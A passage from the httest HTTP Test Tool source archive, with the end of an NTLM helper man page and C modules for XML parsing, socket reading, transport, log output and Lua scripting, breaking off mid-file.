\fB\-\-target\-info\fR Target info as provided in NTLM type 2 message base64 encoded, need for NTLMv2 .TP \fB\-U\fR \fB\-\-user\fR User name .TP \fB\-P\fR \fB\-\-password\fR password .TP \fB\-C\fR \fB\-\-challenge\fR Challenge in hex notation .HP \fB\-c\fR \fB\-\-client\-challengeClient\fR challenge in hex notation, default is a random .TP \fB\-X\fR \fB\-\-context\fR Context in hex notation .TP \fB\-K\fR \fB\-\-session\-key\fR Session Key .TP \fB\-R\fR \fB\-\-response\fR response type space separated: lm ntlm lm2 ntlm2 ntlm2\-session .TP \fB\-u\fR \fB\-\-unicode\fR transmit user, workstation, ... as unicode strings .TP \fB\-f\fR \fB\-\-flags\fR Space separated NTLM flags neg\-unicode: .IP Indicates that Unicode strings are supported for use in security buffer data. .IP neg\-oem: .IP Indicates that OEM strings are supported for use in security buffer data. .IP req\-target: .IP Requests that the server's authentication realm be included in the Type 2 message. .IP neg\-sign: .IP Specifies that authenticated communication between the client and server should carry a digital signature (message integrity). .IP neg\-seal: .IP Specifies that authenticated communication between the client and server should be encrypted (message confidentiality). .IP neg\-datagram\-style: .IP Indicates that datagram authentication is being used. .IP neg\-lm\-key: .IP Indicates that the Lan Manager Session Key should be used for signing and sealing authenticated communications. .IP neg\-netware: .IP This flag's usage has not been identified. .IP neg\-ntlm\-key: .IP Indicates that NTLM authentication is being used. .IP neg\-anonymous: .IP Sent by the client in the Type 3 message to indicate that an anonymous context has been established. This also affects the response fields. .IP neg\-domain\-supp: .IP Sent by the client in the Type 1 message to indicate that the name of the domain in which the client workstation has membership is included in the message. This is used by the server to determine whether the client is eligible for local authentication. .IP neg\-workstation\-supp: .IP Sent by the client in the Type 1 message to indicate that the client workstation's name is included in the message. This is used by the server to determine whether the client is eligible for local authentication. .IP neg\-local\-call: .IP Sent by the server to indicate that the server and client are on the same machine. Implies that the client may use the established local credentials for authentication instead of calculating a response to the challenge. .IP neg\-always_sign: .IP Indicates that authenticated communication between the client and server should be signed with a "dummy" signature. .IP target\-type\-domain: .IP Sent by the server in the Type 2 message to indicate that the target authentication realm is a domain. .IP target\-type\-server: .IP Sent by the server in the Type 2 message to indicate that the target authentication realm is a server. .IP target\-type\-share: .IP Sent by the server in the Type 2 message to indicate that the target authentication realm is a share. Presumably, this is for share\-level authentication. Usage is unclear. .IP neg\-ntlm2\-key: .IP Indicates that the NTLM2 signing and sealing scheme should be used for protecting authenticated communications. Note that this refers to a particular session security scheme, and is not related to the use of NTLMv2 authentication. This flag can, however, have an effect on the response calculations .IP req\-init\-res: .IP This flag's usage has not been identified .IP req\-accept\-res: .IP This flag's usage has not been identified .IP req\-nonnt\-session\-key: .IP This flag's usage has not been identified .IP neg\-target\-info: .IP Sent by the server in the Type 2 message to indicate that it is including a Target Information block in the message. The Target Information block is used in the calculation of the NTLMv2 response. .IP neg\-128: .IP Indicates that 128\-bit encryption is supported. .IP neg\-key\-exchange: .IP Indicates that the client will provide an encrypted master key in the "Session Key" field of the Type 3 message. .IP neg\-56: .IP Indicates that 56\-bit encryption is supported. .SH AUTHOR Written by Christian Liesch .SH COPYRIGHT Copyright \(co 2006 Free Software Foundation, Inc. .br This is free software; see the source for copying conditions. There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. httest-2.4.8/src/xml_module.c0000664000175100017510000001420312205142236013062 00000000000000/** * Copyright 2010 Rafael Torres * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ /** * @file * * @Author rafael torres rdtorres@gmail.com * * Implementation of the HTTP Test Tool xml module. Based on the html module */ /************************************************************************ * Includes ***********************************************************************/ #include "module.h" #include "libxml/parser.h" #include "libxml/xpath.h" #include "libxml/tree.h" /************************************************************************ * Definitions ***********************************************************************/ typedef struct xml_wconf_s { xmlParserCtxtPtr parser_ctx; xmlDocPtr doc; xmlXPathContextPtr xpath; } xml_wconf_t; /************************************************************************ * Globals ***********************************************************************/ const char * xml_module = "xml_module"; /************************************************************************ * Local ***********************************************************************/ /** * Get xml config from worker * * @param worker IN worker * @return xml config */ static xml_wconf_t *xml_get_worker_config(worker_t *worker) { xml_wconf_t *config = module_get_config(worker->config, xml_module); if (config == NULL) { config = apr_pcalloc(worker->pbody, sizeof(*config)); config->parser_ctx = xmlNewParserCtxt(); module_set_config(worker->config, apr_pstrdup(worker->pbody, xml_module), config); } return config; } /** * Convert an xpath object to string * @param worker IN callee * @param obj IN xpath object * @param pool IN pool * @return result or NULL */ static char *xml_node2str(worker_t *worker, xmlXPathObjectPtr obj, apr_pool_t *pool) { char *result = NULL; switch (obj->type) { case XPATH_NODESET: if (!xmlXPathNodeSetIsEmpty(obj->nodesetval)) { int i; xmlChar* content; xmlBufferPtr buf = xmlBufferCreate(); for (i = 0; i < obj->nodesetval->nodeNr; i++) { if (i != 0 ) { xmlBufferWriteChar(buf, "\n"); } content = xmlNodeGetContent(obj->nodesetval->nodeTab[i]); xmlBufferWriteChar(buf, (const char *)content); xmlFree(content); } result = apr_pstrdup(pool, (char *)xmlBufferContent(buf)); xmlBufferFree(buf); } else { worker_log(worker, LOG_ERR, "Empty node set"); result = NULL; } break; case XPATH_BOOLEAN: result = apr_psprintf(pool, "%s", obj->boolval?"true":"false"); break; case XPATH_NUMBER: result = apr_psprintf(pool, "%0g", obj->floatval); break; case XPATH_STRING: result = apr_psprintf(pool, "%s", obj->stringval); break; default: worker_log(worker, LOG_ERR, "Unknown node type"); break; } return result; } /************************************************************************ * Commands ***********************************************************************/ /** * Parse XML block * @param worker IN callee * @param parent IN caller * @param ptmp IN temporary pool * @return apr status */ static apr_status_t block_XML_PARSE(worker_t *worker, worker_t *parent, apr_pool_t *ptmp) { const char *param; const char *xml; xml_wconf_t *wconf = xml_get_worker_config(worker); param = store_get(worker->params, "1"); if (!param) { worker_log(worker, LOG_ERR, "Need a xml document as parameter"); return APR_EINVAL; } xml = worker_get_value_from_param(worker, param, ptmp); wconf->doc = xmlCtxtReadDoc(wconf->parser_ctx, (xmlChar *)xml, NULL, NULL, 0); if (!wconf->doc) { worker_log(worker, LOG_ERR, "Could not parse XML"); return APR_EINVAL; } wconf->xpath = xmlXPathNewContext(wconf->doc); return APR_SUCCESS; } /** * Xpath query on a parsed XML block * @param worker IN callee * @param parent IN caller * @param ptmp IN temporary pool * @return apr status */ static apr_status_t block_XML_XPATH(worker_t *worker, worker_t *parent, apr_pool_t *ptmp) { const char *param; const char *var; char *val; xmlXPathObjectPtr obj; xml_wconf_t *wconf = xml_get_worker_config(worker); param = store_get(worker->params, "1"); if (!param) { worker_log(worker, LOG_ERR, "Need a xpath query"); return APR_EINVAL; } var = store_get(worker->params, "2"); if (!var) { worker_log(worker, LOG_ERR, "Need a variable to store the result"); return APR_EINVAL; } if (!wconf->xpath) { worker_log(worker, LOG_ERR, "Do _XML:PARSE first"); return APR_EGENERAL; } if ((obj = xmlXPathEvalExpression((xmlChar *) param, wconf->xpath)) == NULL) { worker_log(worker, LOG_ERR, "Xpath error"); return APR_EGENERAL; } val = xml_node2str(worker, obj, ptmp); if (!val) { return APR_ENOENT; } worker_var_set(parent, var, val); return APR_SUCCESS; } /************************************************************************ * Module ***********************************************************************/ apr_status_t xml_module_init(global_t *global) { apr_status_t status; if ((status = module_command_new(global, "XML", "_PARSE", "", "Parse XML", block_XML_PARSE)) != APR_SUCCESS) { return status; } if ((status = module_command_new(global, "XML", "_XPATH", "", "Return requested object", block_XML_XPATH)) != APR_SUCCESS) { return status; } return APR_SUCCESS; } httest-2.4.8/src/socket.c0000664000175100017510000003730112203674076012223 00000000000000/** * Copyright 2006 Christian Liesch * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ /** * @file * * @Author christian liesch * * Implementation of the HTTP Test Tool socket. */ /************************************************************************ * Includes ***********************************************************************/ #ifdef HAVE_CONFIG_H #include #endif #include #include #include #include #include #include "defines.h" #include "transport.h" #include "socket.h" /************************************************************************ * Definitions ***********************************************************************/ struct sockreader_s { apr_pool_t *pool; transport_t *transport; apr_size_t i; apr_size_t len; char *buf; char *swap; apr_bucket_alloc_t *alloc; apr_bucket_brigade *cache; apr_bucket_brigade *line; int options; }; /************************************************************************ * Forward declaration ***********************************************************************/ static apr_status_t sockreader_fill(sockreader_t * self); static char *my_strcasestr(const char *s1, const char *s2); /************************************************************************ * Implementation ***********************************************************************/ /** * Create a new sockreader object * * @param sockreader OUT new sockreader object * @param socket IN connected socket * * @return APR_SUCCESS else an APR error */ apr_status_t sockreader_new(sockreader_t ** sockreader, transport_t *transport, char *rest, apr_size_t len) { apr_status_t status; apr_allocator_t *allocator; apr_pool_t *pool; apr_pool_create(&pool, NULL); *sockreader = apr_pcalloc(pool, sizeof(sockreader_t)); (*sockreader)->buf = apr_pcalloc(pool, BLOCK_MAX + 1); (*sockreader)->alloc = apr_bucket_alloc_create(pool); (*sockreader)->line = apr_brigade_create(pool, (*sockreader)->alloc); (*sockreader)->transport = transport; allocator = apr_pool_allocator_get(pool); apr_allocator_max_free_set(allocator, 1024*1024); (*sockreader)->pool = pool; if (len > BLOCK_MAX) { return APR_ENOMEM; } if (rest && len) { memcpy((*sockreader)->buf, rest, len); (*sockreader)->len = len; } else { if ((status = sockreader_fill((*sockreader))) != APR_SUCCESS) { return status; } } return APR_SUCCESS; } /** * Destroy sockreader * @param sockreader INOUT instance * @note: sockreader will be set to NULL */ void sockreader_destroy(sockreader_t **sockreader) { if ((*sockreader) != NULL) { apr_pool_destroy((*sockreader)->pool); *sockreader = NULL; } } /** * Set transport for upgrading facilities * @param sockreader IN sockreader instance * @param transport IN transport object */ void sockreader_set_transport(sockreader_t *sockreader, transport_t *transport) { sockreader->transport = transport; } /** * Set options * * @param self IN sockreader object * @param options IN SOCKREADER_OPTIONS_IGNORE_BODY to ignore recvd body * SOCKREADER_OPTIONS_NONE delete options */ void sockreader_set_options(sockreader_t *self, int options) { self->options = options; } /** * Push back a line * * @param self IN sockreader object * @param buf IN buf to push back * @param len IN len to push back */ apr_status_t sockreader_push_back(sockreader_t * self, const char *buf, apr_size_t len) { if (!self->cache) { self->cache = apr_brigade_create(self->pool, self->alloc); } apr_brigade_write(self->cache, NULL, NULL, buf, len); return APR_SUCCESS; } /** * Push back a line * * @param self IN sockreader object * @param line IN line to push back */ apr_status_t sockreader_push_line(sockreader_t * self, const char *line) { apr_status_t status; apr_size_t len = strlen(line); status = sockreader_push_back(self, line, len); if (status == APR_SUCCESS) { status = sockreader_push_back(self, "\r\n", 2); } return status; } /** * read line * * @param self IN sockreader object * @param line OUT read line * * @return APR_SUCCESS else an APR error */ apr_status_t sockreader_read_line(sockreader_t * self, char **line) { char c; apr_size_t i; apr_status_t status = APR_SUCCESS; *line = NULL; i = 0; c = 0; apr_brigade_cleanup(self->line); while (c != '\n') { if (self->i >= self->len) { if ((status = sockreader_fill(self)) != APR_SUCCESS) { break; } } if (self->i < self->len) { c = self->buf[self->i]; apr_brigade_putc(self->line, NULL, NULL, c); self->i++; } } apr_brigade_pflatten(self->line, line, &i, self->pool); apr_brigade_cleanup(self->line); if (i) { (*line)[i - 1] = 0; } if (i > 1 && (*line)[i - 2] == '\r') { (*line)[i - 2] = 0; } else { (*line)[i] = 0; } return status; } /** * Read specifed block * * @param self IN sockreader object * @param block IN a block to fill up * @param length INOUT length of block, on return length of filled bytes * * @return APR_SUCCESS else APR error */ apr_status_t sockreader_read_block(sockreader_t * self, char *block, apr_size_t *length) { apr_status_t status; int i; int min_len; apr_size_t len = *length; status = APR_SUCCESS; i = 0; if (block) { while (i < len) { if (self->i >= self->len) { if ((status = sockreader_fill(self)) != APR_SUCCESS) { break; } } min_len = len - i < self->len - self->i ? len - i : self->len - self->i; memcpy(&block[i], &self->buf[self->i], min_len); i += min_len; self->i += min_len; } /* on eof we like to get the bytes recvieved so far */ min_len = len - i < self->len - self->i ? len - i : self->len - self->i; memcpy(&block[i], &self->buf[self->i], min_len); i += min_len; self->i += min_len; } else { while (i < len) { if (self->i >= self->len) { if ((status = sockreader_fill(self)) != APR_SUCCESS) { break; } } min_len = len - i < self->len - self->i ? len - i : self->len - self->i; i += min_len; self->i += min_len; } /* on eof we like to get the bytes recvieved so far */ min_len = len - i < self->len - self->i ? len - i : self->len - self->i; i += min_len; self->i += min_len; } *length = i; return status; } /**** * Http helper based on sockreader ****/ /** * content length reader * * @param sockreader IN sockreader object * @param buf OUT content buffer * @param ct IN content length * * @return APR_SUCCESS else an APR error */ apr_status_t content_length_reader(sockreader_t * self, char **buf, apr_size_t *ct, const char *val) { apr_status_t status = APR_SUCCESS; apr_size_t len = *ct; char *read; if ((apr_ssize_t)len < 0) { /** shall i read until close or just quit in this case? */ *ct = 0; return status; } if (self->options & SOCKREADER_OPTIONS_IGNORE_BODY) { read = NULL; } else { read = apr_pcalloc(self->pool, len); } sockreader_read_block(self, read, &len); *buf = read; /* if we did not get the request length quit with data incomplete error */ if (len != *ct) { status = APR_INCOMPLETE; } *ct = len; if (self->options & SOCKREADER_OPTIONS_IGNORE_BODY) { *ct = 0; } return status; } /** * Transfer encoding reader (only chunked implemented) * * @param sockreader IN sockreader object * @param bb OUT content buffer * @param val IN type of encoding * * @return APR_SUCCESS else an APR error */ static apr_status_t transfer_enc_reader_bb(sockreader_t *self, apr_bucket_brigade *bb, const char *val) { int chunk; char *end; char *line; char *read = NULL; apr_size_t chunk_cur; apr_size_t chunk_len; apr_bucket *b; apr_status_t status = APR_SUCCESS; chunk = 0; if (my_strcasestr(val, "chunked")) { while (1) { while (sockreader_read_line(self, &line) == APR_SUCCESS && line[0] == 0); /* test if we got a chunk info */ if (line[0] == 0) { /* break if not */ break; } chunk = apr_strtoi64(line, &end, 16); if (chunk == 0) { break; } if (!(self->options & SOCKREADER_OPTIONS_IGNORE_BODY)) { read = apr_pcalloc(self->pool, chunk); } chunk_len = 0; while (chunk_len < chunk) { chunk_cur = chunk - chunk_len; if (self->options & SOCKREADER_OPTIONS_IGNORE_BODY) { status = sockreader_read_block(self, NULL, &chunk_cur); } else { status = sockreader_read_block(self, &read[chunk_len], &chunk_cur); } if (status != APR_SUCCESS && (status != APR_EOF || chunk_cur == 0)) { break; } chunk_len += chunk_cur; } if (!(self->options & SOCKREADER_OPTIONS_IGNORE_BODY)) { b = apr_bucket_pool_create(read, chunk_len, self->pool, self->alloc); APR_BRIGADE_INSERT_TAIL(bb, b); } if (chunk != chunk_len) { status = APR_INCOMPLETE; break; } } } else { return APR_ENOTIMPL; } if (chunk != 0) { /* no null chunk termination */ return APR_INCOMPLETE; } return status; } /** * Transfer encoding reader (only chunked implemented) * * @param sockreader IN sockreader object * @param buf OUT content buffer * @param len OUT content len * @param val IN type of encoding * * @return APR_SUCCESS else an APR error */ apr_status_t transfer_enc_reader(sockreader_t * self, char **buf, apr_size_t *len, const char *val) { apr_bucket_brigade *bb; apr_status_t status = APR_SUCCESS; if (self->options & SOCKREADER_OPTIONS_IGNORE_BODY) { bb = NULL; } else { bb = apr_brigade_create(self->pool, self->alloc); } status = transfer_enc_reader_bb(self, bb, val); if (self->options & SOCKREADER_OPTIONS_IGNORE_BODY) { *buf = NULL; *len = 0; } else { apr_brigade_pflatten(bb, buf, len, self->pool); apr_brigade_destroy(bb); } /* if null chunk termination and eof this is also ok */ if (status == APR_SUCCESS || status == APR_EOF) { return APR_SUCCESS; } else { return status; } } /** * Connection close reader * * @param sockreader IN sockreader object * @param buf OUT content buffer * @param len OUT content len * * @return APR_SUCCESS else an APR error */ apr_status_t eof_reader(sockreader_t * self, char **buf, apr_size_t *len, const char *val) { char *read; apr_size_t block; apr_bucket *b; apr_bucket_brigade *bb; apr_status_t status = APR_SUCCESS; *buf = NULL; (*len) = 0; if (my_strcasestr(val, "upgrade")) { return APR_SUCCESS; } if (!my_strcasestr(val, "close")) { return APR_ENOTIMPL; } if (self->options & SOCKREADER_OPTIONS_IGNORE_BODY) { bb = NULL; } else { bb = apr_brigade_create(self->pool, self->alloc); } if (self->options & SOCKREADER_OPTIONS_IGNORE_BODY) { read = NULL; } else { read = apr_pcalloc(self->pool, BLOCK_MAX); } do { block = BLOCK_MAX; if (self->options & SOCKREADER_OPTIONS_IGNORE_BODY) { status = sockreader_read_block(self, NULL, &block); } else { status = sockreader_read_block(self, read, &block); } if (!self->options & SOCKREADER_OPTIONS_IGNORE_BODY) { b = apr_bucket_pool_create(read, block, self->pool, self->alloc); APR_BRIGADE_INSERT_TAIL(bb, b); read = apr_pcalloc(self->pool, BLOCK_MAX); } } while (status == APR_SUCCESS); if (self->options & SOCKREADER_OPTIONS_IGNORE_BODY) { *buf = NULL; *len = 0; } else { apr_brigade_pflatten(bb, buf, len, self->pool); apr_brigade_destroy(bb); } if (status == APR_SUCCESS || status == APR_EOF) { return APR_SUCCESS; } else { return status; } } /** * Encapsulated reader for ICAP messages * * @param sockreader IN sockreader object * @param buf OUT content buffer * * @return APR_SUCCESS else an APR error */ apr_status_t encapsulated_reader(sockreader_t * self, char **buf, apr_size_t *len, const char *enc_info, const char *preview) { char *read; char *read2; char *last; char *cur; char *key; char *val; char *tmp; apr_status_t status; apr_size_t size; apr_size_t size2; tmp = apr_pstrdup(self->pool, enc_info); cur = apr_strtok(tmp, ",", &last); val = cur; while (cur) { val = cur; cur = apr_strtok(NULL, ", ", &last); } if (!val) { return APR_EINVAL; } key = apr_strtok(val, "=", &last); val = apr_strtok(NULL, "=", &last); if (!key || !val) { return APR_EINVAL; } size = apr_atoi64(val); if (size == 0) { return APR_SUCCESS; } if (self->options & SOCKREADER_OPTIONS_IGNORE_BODY) { read = NULL; } else { read = apr_pcalloc(self->pool, size); } sockreader_read_block(self, read, &size); if (strcasecmp(key, "null-body") != 0 && (!preview || strcasecmp(preview, "0") != 0)) { if ((status = transfer_enc_reader(self, &read2, &size2, "chunked")) != APR_SUCCESS) { return status; } if (!self->options & SOCKREADER_OPTIONS_IGNORE_BODY) { *buf = apr_pcalloc(self->pool, size + size2); memcpy(*buf, read, size); memcpy(&(*buf)[size], read2, size2); *len = size + size2; } } else { *len = size; *buf = read; } if (self->options & SOCKREADER_OPTIONS_IGNORE_BODY) { *len = 0; } return APR_SUCCESS; } /** * fill up our buf of 8K * * @param self IN sockreader object * * @param APR_SUCCESS else an APR error */ static apr_status_t sockreader_fill(sockreader_t * self) { apr_status_t status; self->i = 0; self->len = 0; if (self->cache) { self->swap = self->buf; apr_brigade_pflatten(self->cache, &self->buf, &self->len, self->pool); self->cache = NULL; return APR_SUCCESS; } if (self->swap) { self->buf = self->swap; self->swap = NULL; } self->len = BLOCK_MAX; status = transport_read(self->transport, self->buf, &self->len); if (APR_STATUS_IS_EOF(status) && self->len > 0) { return APR_SUCCESS; } else { return status; } } /* * Similar to standard strstr() but we ignore case in this version. * Based on the strstr() implementation further below. * * @param s1 IN string to lookin in * @param s2 IN string to look for * * @return pointer to found substring or NULL */ static char *my_strcasestr(const char *s1, const char *s2) { char *p1, *p2; if (*s2 == '\0') { /* an empty s2 */ return((char *)s1); } while(1) { for ( ; (*s1 != '\0') && (apr_tolower(*s1) != apr_tolower(*s2)); s1++) ; if (*s1 == '\0') { return(NULL); } /* found first character of s2, see if the rest matches */ p1 = (char *)s1; p2 = (char *)s2; for (++p1, ++p2; apr_tolower(*p1) == apr_tolower(*p2); ++p1, ++p2) { if (*p1 == '\0') { /* both strings ended together */ return((char *)s1); } } if (*p2 == '\0') { /* second string ended, a match */ break; } /* didn't find a match here, try starting at next character in s1 */ s1++; } return((char *)s1); } httest-2.4.8/src/transport.h0000664000175100017510000001033312203674077012771 00000000000000/** * Copyright 2010 Christian Liesch * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ /** * @file * * @Author christian liesch * * Interface definition of the HTTP Test Tool transport. */ #ifndef HTTEST_TRANSPORT_H #define HTTEST_TRANSPORT_H typedef struct transport_s transport_t; /** * socket/file descriptor method * @param data IN custom data * @param desc OUT filedescriptor * @return APR_SUCCESS or any apr status */ typedef apr_status_t (*transport_os_desc_get_f)(void *data, int *desc); /** * set timeout method * @param data IN custom data * @param t IN timeout * @return APR_SUCCESS or any apr status */ typedef apr_status_t (*transport_set_timeout_f)(void *data, apr_interval_time_t t); /** * set timeout method * @param data IN custom data * @param t OUT timeout * @return APR_SUCCESS or any apr status */ typedef apr_status_t (*transport_get_timeout_f)(void *data, apr_interval_time_t *t); /** * read method * @param data IN custom data * @param buf IN buffer which contains read bytes * @param size INOUT size of buffer and on return actually read bytes * @return APR_SUCCESS or any apr status */ typedef apr_status_t (*transport_read_f)(void *data, char *buf, apr_size_t *size); /** * write method * @param data IN custom data * @param buf IN buffer which contains read bytes * @param size IN size of buffer and on return actually read bytes * @return APR_SUCCESS or any apr status */ typedef apr_status_t (*transport_write_f)(void *data, const char *buf, apr_size_t size); /** * create transport object * @param data IN custom data * @param read IN read method * @param write IN write method * @return transport object */ transport_t *transport_new(void *data, apr_pool_t *pool, transport_os_desc_get_f os_desc_get, transport_set_timeout_f set_timeout, transport_get_timeout_f get_timeout, transport_read_f read, transport_write_f write); /** * set new user data * @param hook IN transport hook * @param data IN new user data * @return APR_SUCCESS, APR_NOSOCK if no transport hook or any apr status */ apr_status_t transport_set_data(transport_t *hook, void *data); /** * Get socket descriptor of the transport protocol * @param hook IN transport hook * @param desc OUT os descriptor of this transport * @return APR_SUCCESS, APR_NOSOCK if no transport hook or any apr status */ apr_status_t transport_os_desc_get(transport_t *hook, int *desc); /** * Set transport timeout * @param hook IN transport hook * @param t IN timeout * @return APR_SUCCESS, APR_NOSOCK if no transport hook or any apr status */ apr_status_t transport_set_timeout(transport_t *hook, apr_interval_time_t t); /** * Set transport timeout * @param hook IN transport hook * @param t OUT timeout * @return APR_SUCCESS, APR_NOSOCK if no transport hook or any apr status */ apr_status_t transport_get_timeout(transport_t *hook, apr_interval_time_t *t); /** * call registered transport method * @param hook IN transport hook * @param buf IN buffer which contains read bytes * @param size INOUT size of buffer * @return APR_SUCCESS, APR_NOSOCK if no transport hook or any apr status */ apr_status_t transport_read(transport_t *hook, char *buf, apr_size_t *size); /** * call registered transport method * @param hook IN transport hook * @param buf IN buffer which contains read bytes * @param size IN size of buffer * @return APR_SUCCESS, APR_NOSOCK if no transport hook or any apr status */ apr_status_t transport_write(transport_t *hook, const char *buf, apr_size_t size); #endif httest-2.4.8/src/appender_std.c0000664000175100017510000001272012203674076013401 00000000000000/** * Copyright 2006 Christian Liesch * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ /** * @file * * @Author christian liesch * * Implementation of the HTTP Test Tool std appender. */ /************************************************************************ * Includes ***********************************************************************/ #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include "defines.h" #include "util.h" #include "replacer.h" #include "regex.h" #include "file.h" #include "transport.h" #include "socket.h" #include "worker.h" #include "appender.h" #include "appender_std.h" /************************************************************************ * Definitions ***********************************************************************/ typedef struct appender_std_s { int flags; apr_file_t *out; } appender_std_t; #define APPENDER_STD_PFX " " /* \e is not ESC on windows */ #define ESC "\x1b" /************************************************************************ * Forward declaration ***********************************************************************/ void appender_std_printer(appender_t *appender, int mode, const char *pos, int thread, int group, char dir, const char *custom, const char *buf, apr_size_t len); /************************************************************************ * Implementation ***********************************************************************/ static void appender_std_prefix(appender_std_t *std, int mode, const char *pos, int thread, int group, char dir, const char *custom) { /* check if prefix is needed */ if (dir == '-') { return; } /* set color on dir \e[1;31mFAILED\e[0m */ if (std->flags & APPENDER_STD_COLOR) { if (dir == '<') { apr_file_printf(std->out, "\x1b[0;35m"); } else if (dir == '>') { apr_file_printf(std->out, "\x1b[0;34m"); } } if (std->flags & APPENDER_STD_THREAD_NO) { apr_file_printf(std->out, "\n%d:", thread); } else { apr_file_printf(std->out, "\n"); } if (mode == LOG_ERR) { if (pos) { apr_file_printf(std->out, "%s: error: ", pos); } else { apr_file_printf(std->out, "error: "); } } else { int i; for (i = 0; i < group; i++) { apr_file_printf(std->out, APPENDER_STD_PFX); } } if (dir == '>' || dir == '<' || dir == '+') { apr_file_putc(dir, std->out); } } /** * Constructor for std appender * @param pool IN pool * @param out IN output file * @param flags IN APPENDER_STD_THREAD_NO: print thread no * APPENDER_STD_COLOR: print colored * APPENDER_NONE: no extention * @return appender */ appender_t *appender_std_new(apr_pool_t *pool, apr_file_t *out, int flags) { appender_t *appender; appender_std_t *std = apr_pcalloc(pool, sizeof(*std)); std->out = out; std->flags = flags; appender = appender_new(pool, appender_std_printer, std); return appender; } /** * Simple appender printer * @param appender IN appender instance * @param is_error IN error * @param thread IN thread id * |@param group IN group id * @param dir IN >,<,+,= * @param custom IN custom string * @param buf IN buffer to print * @param len IN buffer len */ void appender_std_printer(appender_t *appender, int mode, const char *pos, int thread, int group, char dir, const char *custom, const char *buf, apr_size_t len) { appender_std_t *std = appender_get_user_data(appender); if (!buf) { buf = ""; len = strlen(buf); } if (std->out) { apr_size_t i = 0; apr_size_t j = 0; do { int mark = 0; for (; i < len && buf[i] != '\n'; i++) { if ((unsigned char)buf[i] < 0x20) { mark = 1; } } appender_lock(appender); appender_std_prefix(std, mode, pos, thread, group, dir, custom); if (mark) { for (; j < i; j++) { if ((unsigned char)buf[j] == '\n' || (unsigned char)buf[j] == '\r' || (unsigned char)buf[j] == '\0') { /* do nothing */ } else if ((unsigned char)buf[j] < 0x20) { apr_file_putc('.', std->out); } else { apr_file_putc(buf[j], std->out); } } } else { apr_size_t l = i-j; apr_file_write(std->out, &buf[j], &l); j += l; } ++i; ++j; if (std->flags & APPENDER_STD_COLOR) { apr_file_printf(std->out, ESC "[0m"); } apr_file_flush(std->out); appender_unlock(appender); } while (i < len); } } httest-2.4.8/src/lua_module.c0000664000175100017510000003424412205142236013052 00000000000000/** * Copyright 2010 Christian Liesch * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ /** * @file * * @Author christian liesch * * Implementation of the HTTP Test Tool Lua Extention */ /************************************************************************ * Includes ***********************************************************************/ #define LUA_COMPAT_MODULE #include #include #include #include #include "lua_crypto.h" #include "module.h" /************************************************************************ * Definitions ***********************************************************************/ const char * lua_module = "lua_module"; typedef struct lua_wconf_s { int starting_line_nr; apr_table_t *params; apr_table_t *retvars; lua_State *L; } lua_wconf_t; typedef struct lua_gconf_s { int do_read_line; } lua_gconf_t; typedef struct lua_reader_s { apr_pool_t *pool; apr_table_t *lines; int i; int newline; int starting_line_nr; } lua_reader_t; /************************************************************************ * Private ***********************************************************************/ /** * Get lua config from worker * * @param worker IN worker * @return lua worker config */ static lua_wconf_t *lua_get_worker_config(worker_t *worker) { lua_wconf_t *wconf = module_get_config(worker->config, lua_module); if (wconf == NULL) { wconf = apr_pcalloc(worker->pbody, sizeof(*wconf)); wconf->params = apr_table_make(worker->pbody, 5); wconf->retvars = apr_table_make(worker->pbody, 5); module_set_config(worker->config, apr_pstrdup(worker->pbody, lua_module), wconf); } return wconf; } /** * Get lua config from global * * @param global IN * @return lua config */ static lua_gconf_t *lua_get_global_config(global_t *global) { lua_gconf_t *gconf = module_get_config(global->config, lua_module); if (gconf == NULL) { gconf = apr_pcalloc(global->pool, sizeof(*gconf)); module_set_config(global->config, apr_pstrdup(global->pool, lua_module), gconf); } return gconf; } /** * Get a new lua reader instance * @param worker IN callee * @param pool IN * @return lua reader instance */ static lua_reader_t *lua_new_lua_reader(worker_t *worker, apr_pool_t *pool) { lua_wconf_t *wconf = lua_get_worker_config(worker->block); lua_reader_t *reader = apr_pcalloc(pool, sizeof(*reader)); reader->pool = pool; reader->lines = worker->lines; reader->starting_line_nr = wconf->starting_line_nr; return reader; } /** * A simple lua line reader * @param L in lua state * @param ud IN user data * @param size OUT len of string * @return line */ static const char *lua_get_line(lua_State *L, void *ud, size_t *size) { lua_reader_t *reader = ud; apr_table_entry_t * e; e = (apr_table_entry_t *) apr_table_elts(reader->lines)->elts; if (reader->starting_line_nr) { --reader->starting_line_nr; *size = 1; return apr_pstrdup(reader->pool, "\n"); } if (reader->i < apr_table_elts(reader->lines)->nelts) { if (reader->newline) { reader->newline = 0; *size = 1; return apr_pstrdup(reader->pool, "\n"); } else { const char *line = e[reader->i].val; *size = strlen(line); ++reader->i; reader->newline = 1; return line; } } else { return NULL; } } /** * Do push the httest version on the stack * @lua_return version as a string * @param L IN lua state * 